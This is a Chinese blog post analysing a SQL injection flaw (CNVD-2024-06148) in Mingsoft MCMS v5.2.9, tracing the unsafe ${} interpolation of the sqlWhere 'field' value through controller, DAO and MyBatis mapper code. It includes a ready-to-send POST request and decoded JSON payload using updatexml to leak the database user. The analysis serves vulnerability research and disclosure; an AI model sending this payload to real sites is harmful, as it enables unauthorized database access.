CNVD-2024-06148 Mingsoft MCMS v5.2.9 前台查询文章列表接口 SQL注入漏洞分析

这篇文章详细描述了MingSoftMCMS内容管理系统的一个SQL注入漏洞,源于categoryType参数的验证缺失,攻击者可以借此获取数据库敏感信息。漏洞存在于`/content/list.do`接口,通过构造特定的参数可以执行SQL命令。
摘要由CSDN通过智能技术生成

MCMS是中国铭飞(MingSoft)公司的一个完整开源的J2ee系统。江西铭软科技有限公司MCMS v5.2.9版本存在SQL注入漏洞,该漏洞源于/content/list.do中的categoryType参数缺少对外部输入SQL语句的验证,攻击者可利用该漏洞获取数据库敏感数据。

项目地址

MCMS: 🌈🌈🌈祝开发者2024新年快乐🧧!免费可商用的开源Java CMS内容管理系统/基于SpringBoot 2/前端element UI/提供上百套模板,同时提供实用的插件/每两个月收集issues问题并更新版本/一套简单好用开源免费的Java CMS内容管理系/一整套优质的开源生态内容体系。铭飞的使命就是降低开发成本提高开发效率,提供全方位的企业级开发解决方案。icon-default.png?t=N7T8https://gitee.com/mingSoft/MCMS

参考链接

漏洞复现

POST /cms/content/list.do HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Content-Length: 326
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br

categoryType=1&sqlWhere=%5b%7b%22action%22%3a%22and%22%2c%22field%22%3a%22updatexml(1%2cconcat(0x7e%2c(SELECT%20%20current_user)%2c0x7e)%2c1)%22%2c%22el%22%3a%22eq%22%2c%22model%22%3a%22contentTitle%22%2c%22name%22%3a%22æç« æ é¢%22%2c%22type%22%3a%22input%22%2c%22value%22%3a%22111%22%7d%5d&pageNo=1&pageSize=10

 

漏洞分析

在IContentDao.xml中找到了类似${}的sql语句,这说明此系统至少存在4个sql注入漏洞

我们分析第一个/cms/content/list.do 的sql语句调用

来到控制器层

 

@PostMapping("/list")
@ResponseBody
public ResultData list(@ModelAttribute @ApiIgnore ContentBean content) {
   BasicUtil.startPage();
   List contentList = contentBiz.query(content);
   return ResultData.build().success(new EUListBean(contentList,(int)BasicUtil.endPage(contentList).getTotal()));
}

ContentBean的成员均可为我们可控

跟入contentBiz.query方法

public List<T> query(BaseEntity entity) {
    return this.getDao().query(entity);
}

在跟入getDao().query方法

在IBaseDao.class 中

/** @deprecated */
@Deprecated
<E> E getByEntity(BaseEntity entity);
​
List<E> query(BaseEntity entity);

找到对应的实现类

 

<!--条件查询-->
<select id="query" resultMap="resultContentMap">
   <!--,CONCAT('/html/',ct.app_id,category_path,'/',ct.id,'.html') AS static_url-->
   select ct.* from (
   select ct.*,cc.category_path from cms_content ct
   join cms_category cc on ct.category_id=cc.id
   <where>
      ct.del=0
      <if test="contentTitle != null and contentTitle != ''"> and  content_title like CONCAT(CONCAT('%',#{contentTitle}),'%')</if>
      <if test="categoryId != null and categoryId != ''">    and (ct.category_id=#{categoryId} or ct.category_id in
         (select id FROM cms_category where find_in_set(#{categoryId},CATEGORY_PARENT_IDS)>0))</if>
      <if test="contentType != null and contentType != ''">
         and
         <foreach item="item" index="index" collection="contentType.split(',')" open="(" separator="or"
                close=")">
            FIND_IN_SET(#{item},ct.content_type)>0
         </foreach>
      </if>
      <if test="contentDisplay != null and contentDisplay != ''"> and content_display=#{contentDisplay}</if>
      <if test="contentAuthor != null and contentAuthor != ''"> and content_author=#{contentAuthor}</if>
      <if test="contentSource != null and contentSource != ''"> and content_source=#{contentSource}</if>
      <if test="contentDatetime != null"> and content_datetime=#{contentDatetime} </if>
      <if test="contentSort != null"> and content_sort=#{contentSort} </if>
      <if test="contentImg != null and contentImg != ''"> and content_img=#{contentImg}</if>
      <if test="contentDescription != null and contentDescription != ''"> and content_description=#{contentDescription}</if>
      <if test="contentKeyword != null and contentKeyword != ''"> and content_keyword=#{contentKeyword}</if>
      <if test="contentDetails != null and contentDetails != ''"> and content_details=#{contentDetails}</if>
      <if test="contentUrl != null and contentUrl != ''"> and content_url=#{contentUrl}</if>
      <if test="contentHit != null"> and content_hit=#{contentHit}</if>
      <if test="createBy &gt; 0"> and ct.create_by=#{createBy} </if>
      <if test="createDate != null"> and ct.create_date=#{createDate} </if>
      <if test="updateBy &gt; 0"> and ct.update_by=#{updateBy} </if>
      <if test="updateDate != null"> and update_date=#{updateDate} </if>
      <include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>
   </where>
   )ct ORDER BY ct.content_datetime desc,content_sort desc
</select>

在查询语句中引用这个 sqlWhere片段,找出来

 

<sql id="sqlWhere" databaseId="mysql">
    <if test="sqlWhereList != null">
    <foreach collection="sqlWhereList" item="item" index="index"
             open="and( " separator=" " close=" )">

        <if test="item.el == 'eq'">
            <choose>
                <when test="item.multiple != null and item.multiple == true">
                    FIND_IN_SET(#{item.value}, ${item.field})>0
                </when>
                <otherwise>
                    ${item.field} = #{item.value}
                </otherwise>
            </choose>
        </if>
        <if test="item.el == 'gt'">
            <choose>
                <when test="item.type=='time'||item.type=='date'">
                    <if test="item.type=='time'">
                        date_format(${item.field},'%T') &gt; date_format(#{item.value},'%T')
                    </if>
                    <if test="item.type=='date'">
                        date_format(${item.field},'%Y-%m-%d %H:%i:%s') &gt; date_format(#{item.value},'%Y-%m-%d %H:%i:%s')
                    </if>
                </when>
                <otherwise>
                    ${item.field} &gt; #{item.value}
                </otherwise>
            </choose>
        </if>
        <if test="item.el == 'gte'">
            ${item.field} &gt;= #{item.value}
        </if>
        <if test="item.el == 'lt'">
            <choose>
                <when test="item.type=='time'||item.type=='date'">
                    <if test="item.type=='time'">
                        date_format(${item.field},'%T') &lt; date_format(#{item.value},'%T')
                    </if>
                    <if test="item.type=='date'">
                        date_format(${item.field},'%Y-%m-%d %H:%i:%s') &lt; date_format(#{item.value},'%Y-%m-%d %H:%i:%s')
                    </if>
                </when>
                <otherwise>
                    ${item.field} &lt; #{item.value}
                </otherwise>
            </choose>
        </if>
        <if test="item.el == 'lte'">
            ${item.field} &lt;= #{item.value}
        </if>
        <if test="item.el == 'like'">
            ${item.field} like CONCAT(CONCAT('%',#{item.value}),'%')
        </if>
        <if test="item.el == 'likeLeft'">
            ${item.field} like CONCAT(CONCAT(#{item.value}),'%')
        </if>
        <if test="item.el == 'likeRight'">
            ${item.field} like CONCAT('%',#{item.value})
        </if>
        <if test="item.el == 'in'">
            ${item.field} in (${item.value})
        </if>
        <if test="item.el == 'range'">
            <if test="item.type=='time'">
                date_format(${item.field},'%T') BETWEEN date_format(#{item.value[0]},'%T') AND date_format(#{item.value[1]},'%T')
            </if>
            <if test="item.type=='date'">
                date_format(${item.field},'%Y-%m-%d %H:%i:%s') BETWEEN date_format(#{item.value[0]},'%Y-%m-%d %H:%i:%s') AND date_format(#{item.value[1]},'%Y-%m-%d %H:%i:%s')
            </if>
        </if>

        <if test="index != (sqlWhereList.size() - 1)">
            <choose>
                <!--防注入-->
                <when test="item.action == 'and' or item.action == 'or'">
                    ${item.action}
                </when>
                <otherwise>
                    and
                </otherwise>
            </choose>
        </if>
    </foreach>
    </if>
</sql>

注意${}的引用

    <if test="item.el == 'eq'">
        <choose>
            <when test="item.multiple != null and item.multiple == true">
                FIND_IN_SET(#{item.value}, ${item.field})>0
            </when>
            <otherwise>
                ${item.field} = #{item.value}
            </otherwise>
        </choose>
    </if>

类似于这样where xxx=xxxx 是可以照成sql注入的,

所以参数写成写成这样

[{"action":"and","field":"updatexml(1,concat(0x7e,(SELECT current_user),0x7e),1)","el":"eq","model":"contentTitle","name":"æç« æ é¢","type":"input","value":"111"}]

重要的就是field字段 以及没有multiple字段

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值